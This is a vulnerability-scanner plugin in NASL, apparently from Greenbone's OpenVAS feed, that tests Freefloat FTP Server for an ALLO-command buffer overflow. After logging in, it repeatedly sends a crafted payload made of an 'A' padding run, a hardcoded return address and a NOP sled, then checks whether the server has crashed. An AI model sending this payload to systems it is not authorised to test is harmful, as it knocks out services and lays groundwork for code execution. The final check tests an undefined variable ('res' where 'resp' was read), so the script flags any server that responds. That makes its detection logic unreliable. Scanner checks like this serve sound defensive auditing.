Freefloat FTP Server 'ALLO' Command Remote Buffer Overflow Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103219");
  script_version("2023-12-20T05:05:58+0000");
  script_tag(name:"last_modification", value:"2023-12-20 05:05:58 +0000 (Wed, 20 Dec 2023)");
  script_tag(name:"creation_date", value:"2011-08-22 16:04:33 +0200 (Mon, 22 Aug 2011)");
  script_tag(name:"cvss_base", value:"5.1");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:P/I:P/A:P");
  script_name("Freefloat FTP Server 'ALLO' Command Remote Buffer Overflow Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/49265");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_category(ACT_DENIAL);
  script_family("Denial of Service");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("ftpserver_detect_type_nd_version.nasl", "logins.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/freefloat/detected");

  script_tag(name:"summary", value:"Freefloat FTP Server is prone to a buffer-overflow vulnerability.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to execute arbitrary code within
  the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of
  this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer release,
  disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = ftp_get_port(default:21);
banner = ftp_get_banner(port:port);
if(!banner || "FreeFloat" >!< banner)
  exit(0);

soc = open_sock_tcp(port);
if(!soc){
  exit(0);
}

banner = ftp_recv_line(socket:soc);
ftp_close(socket:soc);
if(!banner || "FreeFloat" >!< banner){
  exit(0);
}

kb_creds = ftp_get_kb_creds();
user = kb_creds["login"];
pass = kb_creds["pass"];

junk1 = crap(data:raw_string(0x41),length:246);
ret   = raw_string(0xED,0x1E,0x94,0x7C);
nop   = crap(data:raw_string(0x90),length:200);
buff  = junk1 + ret + nop;

for( i=0; i<10; i++ ) {

  soc = open_sock_tcp(port);

  if(soc) {

    send(socket:soc,data:string("USER ", user,"\r\n"));
    recv = recv(socket:soc,length:512);

    send(socket:soc,data:string("PASS ",pass,"\r\n"));
    recv = recv(socket:soc,length:512);

    if("230 User" >!< recv)break;

    send(socket:soc,data:string("ALLO ",buff,"\r\n"));
  } else {
    break;
  }
}

close(soc);

sleep(10);

soc1 = open_sock_tcp(port);
if(!soc1) {
  security_message(port:port);
  exit(0);
}

resp = recv_line(socket:soc1, length:100);
close(soc1);
if(!res || "FreeFloat" >!< resp) {
  security_message(port:port);
  exit(0);
}

exit(99);